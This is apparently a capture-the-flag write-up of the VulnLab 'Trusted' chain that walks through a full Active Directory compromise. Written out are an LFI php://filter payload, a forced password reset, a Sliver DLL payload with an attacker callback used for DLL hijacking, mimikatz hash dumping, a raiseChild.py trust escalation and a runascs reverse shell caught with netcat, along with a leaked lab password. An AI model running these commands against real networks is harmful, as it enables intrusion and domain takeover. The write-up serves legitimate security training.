This is a writeup of the chain Trusted from VulnLab. This chain was a lot of fun and dealt with some common web attacks, DLL hijacking, and AD trust exploitation.
nmap -sV -sC -Pn 10.10.168.5-6 Nmap scan report for 10.10.168.5 Host is up (0.100s latency). Not shown: 988 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-09-22 20:09:34Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: trusted.vl0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: trusted.vl0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 3389/tcp open ms-wbt-server Microsoft Terminal Services |_ssl-date: 2024-09-22T20:10:03+00:00; 0s from scanner time. | ssl-cert: Subject: commonName=trusteddc.trusted.vl | Not valid before: 2024-09-21T20:04:55 |_Not valid after: 2025-03-23T20:04:55 | rdp-ntlm-info: | Target_Name: TRUSTED | NetBIOS_Domain_Name: TRUSTED | NetBIOS_Computer_Name: TRUSTEDDC | DNS_Domain_Name: trusted.vl | DNS_Computer_Name: trusteddc.trusted.vl | Product_Version: 10.0.20348 |_ System_Time: 2024-09-22T20:09:45+00:00 Service Info: Host: TRUSTEDDC; OS: Windows; CPE: cpe:/o:microsoft:windows
Nmap scan report for 10.10.168.6 Host is up (0.099s latency). Not shown: 985 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Apache httpd 2.4.53 ((Win64) OpenSSL/1.1.1n PHP/8.1.6) | http-title: Welcome to XAMPP |_Requested resource was http://10.10.168.6/dashboard/ 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-09-2220:09:33Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: trusted.vl0., Site: Default-First-Site-Name) 443/tcp open ssl/http Apache httpd 2.4.53 ((Win64) OpenSSL/1.1.1n PHP/8.1.6) | ssl-cert: Subject: commonName=localhost | Not valid before: 2009-11-10T23:48:47 |_Not valid after: 2019-11-08T23:48:47 | http-title: Welcome to XAMPP |_Requested resource was https://10.10.168.6/dashboard/ |_ssl-date: TLS randomness does not represent time |_http-server-header: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/8.1.6 | tls-alpn: |_ http/1.1 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: trusted.vl0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 3306/tcp open mysql MySQL 5.5.5-10.4.24-MariaDB | mysql-info: | Protocol: 10 | Version: 5.5.5-10.4.24-MariaDB | Thread ID: 11 | Capabilities flags: 63486 | Some Capabilities: Speaks41ProtocolOld, SupportsCompression, ConnectWithDatabase, Support41Auth, IgnoreSpaceBeforeParenthesis, DontAllowDatabaseTableColumn, IgnoreSigpipes, SupportsLoadDataLocal, Speaks41ProtocolNew, SupportsTransactions, ODBCClient, FoundRows, InteractiveClient, LongColumnFlag, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins | Status: Autocommit | Salt: KGb::Qh:'SMhBSW=j~Z* |_ Auth Plugin Name: mysql_native_password 3389/tcp open ms-wbt-server Microsoft Terminal Services | ssl-cert: Subject: commonName=labdc.lab.trusted.vl | Not valid before: 2024-09-21T20:04:57 |_Not valid after: 2025-03-23T20:04:57 | rdp-ntlm-info: | Target_Name: LAB | NetBIOS_Domain_Name: LAB | NetBIOS_Computer_Name: LABDC | DNS_Domain_Name: lab.trusted.vl | DNS_Computer_Name: labdc.lab.trusted.vl | DNS_Tree_Name: trusted.vl | Product_Version: 10.0.20348 |_ System_Time: 2024-09-22T20:09:48+00:00 |_ssl-date: 2024-09-22T20:10:03+00:00; -1s from scanner time. Service Info: Host: LABDC; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 2 IP addresses (2 hosts up) scanned in 119.55 seconds
I went ahead and added the following hosts to my /etc/hosts file:
At the bottom we can see a Latest News section with an interesting note for Eric.
Looks like thereโs going to be a database connection string or credentials that we can grab somehow. I forcefully browsed to /db.php (also couldโve found by fuzzing w the .php extension) and we see the string Connected Successfully.
This isnโt super helpful - we need a way to grab the source of this page to see if we can find the database connection string/credentials. We can probably use PHP filters to base64 encode the content - but we need somewhere to use them likely via LFI.
Checking out the URL as we browse to different parts of the site thereโs an interesting view parameter: https://10.10.168.6/dev/index.html?view=X.
We can toss a PHP filter in here to Base64 encode the content of db.php allowing us to grab the full source for the file https://10.10.168.6/dev/index.html?view=php://filter/convert.base64-encode/resource=db.php.
Now as Robert - we canโt WinRM - so I tried using bloodhound-python to enumerate AD.
No go. DNS issues. I was able to get around them using dnschef, a DNS proxy that can be useful for troubleshooting AD related DNS struggles.
We can use dnschef to proxy our DNS traffic to the Lab DC and make Bloodhound happy.
1 2 3 4 5
# in one window python3 dnschef.py --fakeip [LAB DC IP]
# in another window bloodhound-python -d 'lab.trusted.vl' -ns 127.0.0.1 -u 'rsmith' -p 'IHateEric2' -c all -dc labdc.LAB.TRUSTED.VL --zip
It looks like we have ForceChangePassword, and can change the password for ewalters.
One way to do this is with RPC.
1
net rpc password "ewalters""Password123" -U "lab.trusted.vl"/"rsmith"%"[REDACTED]" -S "[LAB DC IP]"
๐โโฌ Eric Walters
Now as ewalters - we can WinRM in with our newly changed password.
1 2 3 4 5 6
*Evil-WinRM* PS C:\Users\ewalters\Desktop> type User.txt |\---/| | o_o | \_^_/ These are not the flags you're looking for. Take :robitcat: as compensation :).
Evil. Only time Iโve ever been trolled by VL. Iโm in tears.
Iโve been had. I popped two Sliver beacons as ewalters and moved on. I found an interesting file in C:\AVTest:
1 2 3 4 5
*Evil-WinRM* PS C:\AVTest> cat readme.txt Since none of the AV Tools we tried here in the lab satisfied our needs it's time to clean them up. I asked Christine to run them a few times, just to be sure. Let's just hope we don't have to set this lab up again because of this.
In AVTest thereโs a binary C:\AVTest\KasperskyRemovalTool.exe. Iโm thinking this could be a DLL Hijacking scenario - I exfiltrated the binary to a Windows machine and ran procmon.
Using Process Monitor we can filter for DLLโs that are searched for and not found - we can then place a malicious DLL where Kaspersky is looking for it to have it be run in the context of whatever user runs Kaspersky.
The program attempts to load KasperskyRemovalToolENU.dll - but it canโt be found. I generated a malicious DLL with Sliver and threw it on disk.
1
generate --os windows --format shared --mtls [ATTACKER IP]:8443 --arch x86
Thereโs another user running Kasperky on a schedule - and if we wait weโll get a new callback as cpowers.
๐ด Christine Powers - DA Extraordinaire
Christine is a Domain Admin - thatโs pretty cool. And just as youโd think due to the name of the machine - we have a trust to exploit.
Thereโs a Parent-Child trust between lab.trusted.vl and trusted.vl. This means that because weโve compromised the lab domain, we can become an admin on the parent domain as well.
Since we donโt actually have any credentials for Christine, I used mimikatz to dump her NTLM hash.
Now we can exploit this trust by hand OR we can use Impacketโs handy dandy raiseChild.py which is made for exactly this scenario. All we have to do is supply credentials for a DA in a child domain and it will DCSync the parent.
1 2 3 4 5 6 7 8 9
raiseChild.py "lab.trusted.vl"/"cpowers" -hashes ":[REDACTED]" Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Raising child domain lab.trusted.vl [*] Forest FQDN is: trusted.vl [*] Raising lab.trusted.vl to trusted.vl [*] trusted.vl Enterprise Admin SID is: S-1-5-21-3576695518-347000760-3731839591-519 [*] Getting credentials for lab.trusted.vl [SNIPPED]
Under the hood this uses the SID History attack to get us a ticket for the Enterprise Admin group on the parent domain, and DCSync automatically.
๐ EFS - One Final Troll
Now we can WinRM to the main DC as DA - but weโre not actually able to read the final flag.
EFS - or the Windows Encrypting File System is preventing us from viewing the flag. We can evade this using runascs to start a new shell.
1 2 3
# On target net user administrator Password123 .\runascs.exe administrator 'Password123' cmd.exe -r10.8.0.230:6969
1 2 3 4 5 6 7 8 9 10 11
# On attacker nc -lvnp 6969 Listening on 0.0.0.0 6969 Connection received on 10.10.211.69 55389 Microsoft Windows [Version 10.0.20348.887] (c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt type C:\Users\Administrator\Desktop\root.txt VL{[SNIPPED]} C:\Windows\system32>